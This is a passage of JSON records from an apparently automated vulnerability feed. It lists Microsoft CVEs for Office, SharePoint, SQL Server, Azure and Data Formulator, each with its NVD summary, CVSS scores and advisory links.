code ('code injection') in Microsoft Data Formulator allows an unauthorized attacker to execute code over a network.","detail":"Improper control of generation of code ('code injection') in Microsoft Data Formulator allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:20.890Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"data formulator","stacks":["Microsoft","data formulator"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41094","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41094","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41094","type":"primary","publishedAt":"2026-05-12T18:17:20.890Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41094","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40420","cveId":"CVE-2026-40420","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:20.190Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40420","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40420","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40420","type":"primary","publishedAt":"2026-05-12T18:17:20.190Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40420","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40419","cveId":"CVE-2026-40419","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:20.070Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40419","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40419","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40419","type":"primary","publishedAt":"2026-05-12T18:17:20.070Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40419","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40418","cveId":"CVE-2026-40418","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:19.940Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40418","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40418","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40418","type":"primary","publishedAt":"2026-05-12T18:17:19.940Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40418","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40381","cveId":"CVE-2026-40381","aliases":[],"kind":"vulnerability","title":"Improper access control in Azure Connected Machine Agent allows an authorized attacker to elevate privileges locally.","summary":"Improper access control in Azure Connected Machine Agent allows an authorized attacker to elevate privileges locally.","detail":"Improper access control in Azure Connected Machine Agent allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:16.970Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"azure connected machine agent","stacks":["Microsoft Office","Microsoft Azure","azure connected machine agent"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40381","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40381","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40381","type":"primary","publishedAt":"2026-05-12T18:17:16.970Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40381","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40370","cveId":"CVE-2026-40370","aliases":[],"kind":"vulnerability","title":"External control of file name or path in SQL Server allows an authorized attacker to execute code over a network.","summary":"External control of file name or path in SQL Server allows an authorized attacker to execute code over a network.","detail":"External control of file name or path in SQL Server allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:16.147Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"sql server 2016","stacks":["Microsoft SQL Server","sql server 2016"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40370","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40370","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40370","type":"primary","publishedAt":"2026-05-12T18:17:16.147Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40370","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40368","cveId":"CVE-2026-40368","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","summary":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","detail":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:15.900Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40368","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40368","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40368","type":"primary","publishedAt":"2026-05-12T18:17:15.900Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40368","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40367","cveId":"CVE-2026-40367","aliases":[],"kind":"vulnerability","title":"Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.","summary":"Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.","detail":"Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:15.760Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40367","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40367","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40367","type":"primary","publishedAt":"2026-05-12T18:17:15.760Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40367","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40366","cveId":"CVE-2026-40366","aliases":[],"kind":"vulnerability","title":"Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.","summary":"Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.","detail":"Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:15.610Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40366","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40366","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40366","type":"primary","publishedAt":"2026-05-12T18:17:15.610Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40366","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40365","cveId":"CVE-2026-40365","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","summary":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.","detail":"Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:15.483Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40365","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40365","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40365","type":"primary","publishedAt":"2026-05-12T18:17:15.483Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40365","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40364","cveId":"CVE-2026-40364","aliases":[],"kind":"vulnerability","title":"Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.","summary":"Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.","detail":"Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:15.350Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40364","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40364","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40364","type":"primary","publishedAt":"2026-05-12T18:17:15.350Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40364","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40363","cveId":"CVE-2026-40363","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.","summary":"Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.","detail":"Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:15.217Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40363","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40363","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40363","type":"primary","publishedAt":"2026-05-12T18:17:15.217Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40363","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40362","cveId":"CVE-2026-40362","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.","summary":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.","detail":"Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:15.077Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40362","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40362","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40362","type":"primary","publishedAt":"2026-05-12T18:17:15.077Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40362","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40361","cveId":"CVE-2026-40361","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office allows an unauthorized attacker to execute code locally.","summary":"Use after free in Microsoft Office allows an unauthorized attacker to execute code locally.","detail":"Use after free in Microsoft Office allows an unauthorized attacker to execute code locally.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:14.950Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40361","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40361","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40361","type":"primary","publishedAt":"2026-05-12T18:17:14.950Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40361","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40358","cveId":"CVE-2026-40358","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.","summary":"Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.","detail":"Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 